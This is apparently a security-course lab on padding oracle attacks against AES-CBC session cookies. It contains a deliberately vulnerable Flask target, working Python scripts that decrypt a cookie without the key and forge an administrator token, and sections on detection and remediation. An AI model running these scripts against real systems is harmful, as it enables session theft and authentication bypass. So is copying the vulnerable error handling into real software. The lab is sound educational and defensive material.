Skip to content

Latest commit

 

History

History
488 lines (369 loc) · 23.5 KB

File metadata and controls

488 lines (369 loc) · 23.5 KB

Lab: Padding Oracle Decryption

Recover the plaintext of an AES-CBC session cookie one byte at a time using nothing but the difference between a 500 and a 200, then run the same oracle backwards to forge a token that logs you in as an administrator.

[!warning] Authorized use only Run this only against the disposable target written below, on an isolated host, bound to 127.0.0.1. A padding-oracle attack is thousands of deliberately malformed requests per block; on any system you do not own that is both unauthorised access and, in effect, a denial-of-service load pattern. Never point this at a third party.

Module: Crypto and Configuration · Target: self-hosted Flask app (app.py, written below) · Difficulty: Advanced · Time: ~75 min · OWASP: A02:2021


Objective

Turn a one-bit information leak into full plaintext recovery and full plaintext forgery, and be able to explain why the encryption key never enters the picture. By the end you will have:

  1. Confirmed the oracle — a distinguishable response for "padding invalid" versus "padding valid".
  2. Decrypted a complete AES-128-CBC session token without the key, and recorded the query cost.
  3. Explained, byte by byte, why manipulating block N−1 reveals the plaintext of block N.
  4. Used CBC-R to run the oracle in reverse and construct a token for chosen plaintext.
  5. Logged in as administrator with that forged token.
  6. Measured the attack's footprint in the server log.
  7. Applied encrypt-then-MAC with a uniform error response and watched the attack collapse.

Everything below was captured on a live run of the target on this host. The numbers are real; yours will differ slightly because the guess loop's early exits depend on byte values.

Prerequisites

Knowledge:

  • CBC mode: how P[n] = D(C[n]) XOR C[n-1] works, and where the IV fits. Read [[ECB-and-CBC-Mode-Attacks]] first.
  • PKCS#7 padding — the rule that the last n bytes all equal n.
  • The technique note [[Padding-Oracle-Attacks]], which this lab is the hands-on companion to.
  • XOR arithmetic well enough to be comfortable that a ^ b ^ b == a.

Tooling:

  • python3 with Flask and cryptography. Verified on Python 3.13.14, Flask 3.1.3, cryptography 46.0.7.
  • curl for the manual probes. The attack script uses only the standard library.

[!note] No padbuster, no Burp, no sqlmap padbuster is the traditional tool and Burp's Padding Oracle Hunter extension the modern convenience; neither is installed on the authoring host. Writing the attack yourself is the better exercise anyway, because the thing worth learning is the byte arithmetic, and a tool hides exactly that. For the tooling route, see PortSwigger's BApp Store documentation.

Environment Setup

1. Check the port

ss -ltn | grep ':5000' || echo 'port 5000 free'

2. Write the target

mkdir -p ~/labs/padding-oracle && cd ~/labs/padding-oracle

Save as app.py. The key and IV are fixed so that your token matches the one quoted below — a real application would randomise the IV per token, which changes nothing about the attack:

import base64
from flask import Flask, request, make_response
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

KEY = bytes.fromhex('00112233445566778899aabbccddeeff')
IV  = bytes.fromhex('0f1e2d3c4b5a69788796a5b4c3d2e1f0')
app = Flask(__name__)

def pad(b):
    n = 16 - (len(b) % 16)
    return b + bytes([n]) * n

def unpad(b):
    if not b or len(b) % 16: raise ValueError('bad length')
    n = b[-1]
    if n < 1 or n > 16: raise ValueError('bad padding')
    if b[-n:] != bytes([n]) * n: raise ValueError('bad padding')
    return b[:-n]

def encrypt(pt):
    c = Cipher(algorithms.AES(KEY), modes.CBC(IV)).encryptor()
    return base64.urlsafe_b64encode(IV + c.update(pad(pt)) + c.finalize()).decode()

def decrypt(token):
    raw = base64.urlsafe_b64decode(token)
    iv, ct = raw[:16], raw[16:]
    d = Cipher(algorithms.AES(KEY), modes.CBC(iv)).decryptor()
    return unpad(d.update(ct) + d.finalize())

@app.route('/login')
def login():
    tok = encrypt(b'{"user":"carlos","role":"customer"}')
    r = make_response('logged in\n')
    r.set_cookie('session', tok)
    return r

@app.route('/profile')
def profile():
    tok = request.cookies.get('session', '')
    try:
        pt = decrypt(tok)
    except Exception:
        return ('Internal Server Error: invalid padding\n', 500)   # <-- THE ORACLE
    try:
        pt.decode()
    except UnicodeDecodeError:
        return ('Bad Request: corrupt session data\n', 400)
    return ('Welcome back. session=%s\n' % pt.decode(), 200)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

Read /profile carefully. The vulnerability is not the AES, the key length or the mode. It is that the handler answers 500 for a padding failure and 400 for a decode failure — two different error responses for two different internal states, both reachable by an attacker who controls the ciphertext.

3. Start it and get a token

python3 app.py &
curl -s -i http://127.0.0.1:5000/login | grep -i '^set-cookie'
Set-Cookie: session=Dx4tPEtaaXiHlqW0w9Lh8IvEErJFe4S9x6j5QWefwJX2Cs2eUvX3Ta8iIpLc_ULvR6vJVZbk4ThEGqyPMA79hw==; Path=/

Walkthrough

Step 1 — Confirm the oracle exists

Send the valid token:

GET /profile HTTP/1.1
Host: 127.0.0.1:5000
Cookie: session=Dx4tPEtaaXiHlqW0w9Lh8IvEErJFe4S9x6j5QWefwJX2Cs2eUvX3Ta8iIpLc_ULvR6vJVZbk4ThEGqyPMA79hw==
HTTP/1.1 200 OK

Welcome back. session={"user":"carlos","role":"customer"}

Now flip the very last bit of the ciphertext, which corrupts the padding byte:

BAD=$(python3 - "$TOK" <<'P'
import base64, sys
r = bytearray(base64.urlsafe_b64decode(sys.argv[1])); r[-1] ^= 0x01
print(base64.urlsafe_b64encode(bytes(r)).decode())
P
)
curl -s -i --cookie "session=$BAD" http://127.0.0.1:5000/profile | head -1
HTTP/1.1 500 INTERNAL SERVER ERROR
Internal Server Error: invalid padding

That is the whole vulnerability. One bit of ciphertext produced a different response class, and the difference tells you something about the decrypted bytes. Everything else is arithmetic.

[!note] The oracle is often quieter than this A 500-versus-200 split is the loud case. In the wild the distinguisher may be a subtly different error page, a redirect target, a response-time difference of a few milliseconds, or a Set-Cookie present in one branch and absent in the other. The attack is identical; only the oracle() function changes. Build that function first and test it against known-good and known-bad inputs before writing anything else.

Step 2 — The arithmetic, in one paragraph you should not skip

In CBC decryption, the plaintext of block n is P[n] = D(C[n]) XOR C[n-1], where D is the raw block-cipher decryption. Call D(C[n]) the intermediate state I[n]. The attacker cannot compute I[n] — that needs the key — but they fully control C[n-1], because it is just bytes in the cookie.

So: replace C[n-1] with a forged block F, and the server computes I[n] XOR F and checks its padding. Set the last byte of F to each of 256 values until the server stops returning 500. The one that succeeds almost certainly produced a final plaintext byte of 0x01, so I[n][15] XOR F[15] == 0x01, therefore I[n][15] == F[15] XOR 0x01. You have learned one byte of the intermediate state without the key.

Repeat targeting 0x02 0x02, then 0x03 0x03 0x03, and so on to recover all sixteen. Finally P[n] = I[n] XOR C[n-1] using the real previous block. Note what the key never did: participate.

There is one trap. When you are hunting 0x01, a forged block can accidentally produce valid 0x02 0x02 padding, which also returns non-500. The standard guard is to perturb the second-to-last byte and re-ask: if the padding was genuinely one byte long, changing byte 14 cannot invalidate it. The script below implements exactly that.

Step 3 — Write the attack

Save as oracle.py:

#!/usr/bin/env python3
"""Padding-oracle decryption of an AES-CBC session token."""
import base64, sys, urllib.request, urllib.error

URL = "http://127.0.0.1:5000/profile"
BS  = 16
calls = 0

def b64u(raw):  return base64.urlsafe_b64encode(raw).decode()
def unb64u(s):  return base64.urlsafe_b64decode(s)

def oracle(raw):
    """True  = the server accepted the padding (200 or 400).
       False = the server rejected the padding (500)."""
    global calls
    calls += 1
    req = urllib.request.Request(URL)
    req.add_header("Cookie", "session=" + b64u(raw))
    try:
        urllib.request.urlopen(req).read()
        return True
    except urllib.error.HTTPError as e:
        return e.code != 500

def crack_block(prev, target):
    """Recover the intermediate state of one ciphertext block."""
    inter = bytearray(BS)
    for padval in range(1, BS + 1):
        pos = BS - padval
        forged = bytearray(BS)
        for i in range(pos + 1, BS):
            forged[i] = inter[i] ^ padval
        for guess in range(256):
            forged[pos] = guess
            if oracle(bytes(forged) + target):
                if padval == 1:                      # guard against a false \x02\x02 hit
                    probe = bytearray(forged)
                    probe[pos - 1] ^= 0xFF
                    if not oracle(bytes(probe) + target):
                        continue
                inter[pos] = guess ^ padval
                break
        else:
            raise RuntimeError("no byte accepted at position %d" % pos)
    return bytes(inter)

def main(token):
    raw = unb64u(token)
    blocks = [raw[i:i + BS] for i in range(0, len(raw), BS)]
    print("ciphertext blocks (IV first): %d" % len(blocks))
    plain = b""
    for n in range(1, len(blocks)):
        inter = crack_block(blocks[n - 1], blocks[n])
        part  = bytes(a ^ b for a, b in zip(inter, blocks[n - 1]))
        plain += part
        print("block %d -> %r" % (n, part))
    print("\nrecovered plaintext: %r" % plain)
    print("oracle queries: %d" % calls)

if __name__ == "__main__":
    main(sys.argv[1])

Note the oracle() definition once more: return e.code != 500. A 400 — the "decrypted fine, but the bytes were not valid UTF-8" branch — counts as padding valid. That second error class is not needed for the attack, but it is a real-world reminder that "the error page changed" is not the same question as "the padding was correct", and a sloppy oracle silently produces garbage.

Step 4 — Run it

python3 oracle.py "Dx4tPEtaaXiHlqW0w9Lh8IvEErJFe4S9x6j5QWefwJX2Cs2eUvX3Ta8iIpLc_ULvR6vJVZbk4ThEGqyPMA79hw=="
ciphertext blocks (IV first): 4
block 1 -> b'{"user":"carlos"'
block 2 -> b',"role":"custome'
block 3 -> b'r"}\r\r\r\r\r\r\r\r\r\r\r\r\r'

recovered plaintext: b'{"user":"carlos","role":"customer"}\r\r\r\r\r\r\r\r\r\r\r\r\r'
oracle queries: 6844

Real elapsed time on this host: about 4 seconds over loopback for 6,844 requests. Three observations worth writing down:

  • The trailing \r bytes are 0x0D repeated thirteen times — the PKCS#7 padding, recovered along with everything else because the attack does not know or care where the message ends.
  • 6,844 queries for three blocks is roughly 2,280 per block, close to the theoretical average of 16 × 128 = 2048 plus the disambiguation probes.
  • The key was never involved, never guessed, and is still 00112233445566778899aabbccddeeff — unchanged and unknown to the attack.

Step 5 — Run the oracle backwards to forge a token

Decryption is the famous half; encryption is the half that turns a confidentiality bug into an authentication bypass. CBC-R works like this: pick the last ciphertext block at random, use the oracle to learn its intermediate state, then compute the block before it as I XOR desired_plaintext. That computed block is itself a ciphertext block, so repeat. When you run out of plaintext, the last block you computed is the IV.

Save as forge.py:

#!/usr/bin/env python3
"""CBC-R: build a valid token for chosen plaintext using the same oracle."""
import os
from oracle import crack_block, b64u, BS
import oracle as O

def pkcs7(b):
    n = BS - (len(b) % BS)
    return b + bytes([n]) * n

def forge(plaintext):
    blocks = [plaintext[i:i+BS] for i in range(0, len(plaintext), BS)]
    cur = os.urandom(BS)          # arbitrary final ciphertext block
    out = [cur]
    for pb in reversed(blocks):
        inter = crack_block(b"\x00" * BS, cur)
        cur = bytes(a ^ b for a, b in zip(inter, pb))
        out.insert(0, cur)
    return b"".join(out)          # out[0] becomes the IV

if __name__ == "__main__":
    pt = pkcs7(b'{"user":"administrator","role":"admin"}')
    print("forged token:", b64u(forge(pt)))
    print("oracle queries:", O.calls)
python3 forge.py
forged token: duXaM6xD-d49C94h3PyDqsNIRVQOXCD-NIVmgq1ib4eHLpvsA8_nEqVXfj4KRLwub8YQSjvgUjXxnf8f-isKqg==
oracle queries: 6014

Step 6 — Use the forged token

GET /profile HTTP/1.1
Host: 127.0.0.1:5000
Cookie: session=duXaM6xD-d49C94h3PyDqsNIRVQOXCD-NIVmgq1ib4eHLpvsA8_nEqVXfj4KRLwub8YQSjvgUjXxnf8f-isKqg==
HTTP/1.1 200 OK

Welcome back. session={"user":"administrator","role":"admin"}

An account that never existed, a role that was never granted, and a token the server itself accepts as its own — produced entirely from error codes.

This is why the finding is rated on forgery, not on decryption. A report that says "session cookies can be decrypted" invites the answer "there is nothing sensitive in them". A report that says "arbitrary session cookies can be minted, including for accounts that do not exist" does not.


Expected Result

[!success] Proof of exploitation oracle.py recovered the full plaintext {"user":"carlos","role":"customer"} plus its PKCS#7 padding from the session cookie in 6,844 oracle queries, roughly four seconds over loopback, without the AES key. forge.py then produced a token for {"user":"administrator","role":"admin"} in 6,014 further queries, and GET /profile with that cookie returned 200 OK — Welcome back. session={"user":"administrator","role":"admin"}. Decryption and forgery, from a single distinguishable error response.

Detection

This is one of the noisiest attacks in the course, which makes the detection story a genuinely good one — provided anybody is looking at the right counter.

The captured server log across both runs:

total requests to /profile: 12864
500s: 12758
200s:    21
400s:    85
Source Signal
Application access log A ratio of ~99% error responses on one endpoint from one client. This is the signal. No legitimate client produces 12,758 padding failures.
Application error log Thousands of identical decryption exceptions, one per request, from the same code path.
WAF / rate limiter Sustained high request rate to a single URL with a changing cookie value and no other variation.
Session store Session identifiers presented that were never issued — trivially detectable if tokens are issued from a server-side store, and impossible to detect if they are self-contained like this one.
Application audit log A successful authentication as a principal that does not exist in the user table.

Two honest limits. First, the attack's successful requests are only 21 out of 12,864 — if you alert on successful anomalous logins alone, you will miss the 99.8% of the attack that was the actual break-in and catch only the aftermath. Alert on the error volume. Second, a patient attacker can spread 12,000 requests across days and source addresses, at which point per-client rate limiting fails and only the aggregate error-rate metric on the endpoint still shows it. Instrument the endpoint, not just the client.

A cheap and very high-value control: make padding failures a first-class monitored event with its own counter, and alert on any non-zero sustained rate. A correct client produces zero.

Remediation

The fix is not "hide the error". It is authenticated encryption.

1. Encrypt-then-MAC, and verify the MAC before decrypting anything.

import hmac, hashlib, os

KEY  = bytes.fromhex('00112233445566778899aabbccddeeff')
MKEY = bytes.fromhex('a1b2c3d4e5f60718293a4b5c6d7e8f90')     # separate key, not the same one

def issue(pt):
    iv = os.urandom(16)
    c  = Cipher(algorithms.AES(KEY), modes.CBC(iv)).encryptor()
    body = iv + c.update(pad(pt)) + c.finalize()
    tag  = hmac.new(MKEY, body, hashlib.sha256).digest()
    return base64.urlsafe_b64encode(body + tag).decode()

def verify(token):
    raw = base64.urlsafe_b64decode(token)
    body, tag = raw[:-32], raw[-32:]
    if not hmac.compare_digest(hmac.new(MKEY, body, hashlib.sha256).digest(), tag):
        raise ValueError('bad tag')                # never decrypts
    d = Cipher(algorithms.AES(KEY), modes.CBC(body[:16])).decryptor()
    return unpad(d.update(body[16:]) + d.finalize())

Three details, all load-bearing:

  • The MAC covers the IV as well as the ciphertext. A MAC that omits the IV leaves the first block malleable.
  • hmac.compare_digest is constant-time. A byte-by-byte comparison replaces a padding oracle with a timing oracle.
  • Verification happens before decryption, so a tampered token never reaches the padding check at all.

2. Return one response for every failure.

    try:
        pt = verify(request.cookies.get('session', ''))
    except Exception:
        return ('Unauthorized\n', 401)             # one response for every failure

3. Confirm the attack is dead. Point the same oracle.py at the fixed endpoint:

recovered plaintext: b'n RP\x00\xca\x1ac\x82C\xe7\xf7\xb3\x1e\xbb\xba\xda\x1a\x85\xbf...'
oracle queries: 85

Read that carefully, because it is a nicely instructive failure. The script did not error — it "succeeded" instantly and returned garbage, in 85 queries instead of 6,844. Every response is now identical, so the decision function has no signal: the very first guess "passes" every time. A uniform error response does not make the attack fail loudly; it makes it produce nonsense. That is worth knowing when you are testing a fixed system and want to be sure the fix is real rather than that your script broke.

Better still, do not build this at all:

  • Use an AEAD mode — AES-GCM, ChaCha20-Poly1305, or a vetted wrapper such as libsodium's crypto_secretbox / Fernet. Authentication is not an add-on you can forget; it is part of the primitive.
  • Do not put trust decisions in a client-held blob. A random opaque session identifier plus server-side state removes this entire class: there is nothing to decrypt, and an unissued identifier is detectable.
  • If you must use a self-contained token, use a reviewed format with a mandatory signature and verify the algorithm — and read [[JSON-Web-Tokens(JWT)]] for how that goes wrong in its own ways.
  • Never reuse an IV, and never derive the MAC key from the encryption key by truncation.

Defence in depth, in priority order:

  1. AEAD, or encrypt-then-MAC with a separate key — removes the class.
  2. Uniform failure response and constant-time comparison — removes the distinguisher.
  3. Server-side session state — removes the attacker's ability to submit chosen ciphertext at all.
  4. Padding-failure counter with alerting at any sustained non-zero rate — makes an attempt visible.
  5. Rate limiting on the endpoint — raises the cost, but does not fix anything on its own.

The tempting-but-wrong fix is to change the 500 into a 200 with a generic error page and stop there. If the response is still distinguishable by any means — a differing body length, a redirect, a Set-Cookie, or a few milliseconds — the oracle survives. It is also wrong because the ciphertext is still malleable: an attacker who can flip bits in a token that the server trusts has a bug regardless of whether they can read it.

Cleanup

pkill -f 'python3 app.py'
rm -rf ~/labs/padding-oracle

Also delete any cookie jars and the forged tokens you pasted into a shell history — history -d or a fresh shell. A forged administrator token is a credential, and treating it as one is a habit worth having before you are holding a real client's.

Troubleshooting

Symptom Cause Fix
RuntimeError: no byte accepted at position 15 The oracle function is inverted, or the endpoint returns the same status for both branches. Test oracle() by hand: a known-good token must return True, a bit-flipped one False.
The attack returns plausible-looking garbage Same cause — no signal. Compare with the "fixed" output in Remediation. Verify the two response classes really differ before running the full attack.
Extremely slow Every guess is an HTTP request; ~13,000 of them. Expect seconds on loopback and minutes over a network. Parallelise with a thread pool only on your own lab.
Incorrect padding from base64 The token contains + or / and you used the URL-safe decoder, or vice versa. Match the encoding the target uses; this lab uses urlsafe_b64.
Forged token returns 400 The forgery worked but produced non-UTF-8 bytes. That is the 400 branch — it still proves control; re-check your target plaintext is valid UTF-8.
Recovered plaintext is right except the first block You forgot the IV is the first "previous block". Iterate n from 1, using blocks[n-1] as prev; the IV must be part of the token or known.

References

Related

  • [[Padding-Oracle-Attacks]] — the technique note this lab drills, including the non-500 distinguishers.
  • [[ECB-and-CBC-Mode-Attacks]] — the block-mode background, and the ECB sibling where no oracle is needed at all.
  • [[Cryptographic-Vulnerabilities]] — how this finding is classified and rated alongside the rest of the crypto family.
  • [[Weak-Randomness-and-Token-Prediction]] — the other route to forging a session token, when the tokens are guessable rather than malleable.
  • [[Hash-Length-Extension-Attacks]] — the mirror-image failure of MAC-then-encrypt and naive H(secret || message) constructions.
  • [[Session-Token-Entropy-Testing]] — the first test to run on any self-contained token before reaching for this one.
  • [[Lab-JWT-Algorithm-Confusion]] — the same "trusting a client-held blob" mistake in its modern format.
  • [[Cryptographic-Review-Project]] — the capstone that assesses a whole application's cryptographic posture rather than one token.
  • [[Practical-Labs/Lab-Template|Lab Template]] — the shared structure every lab in this folder follows.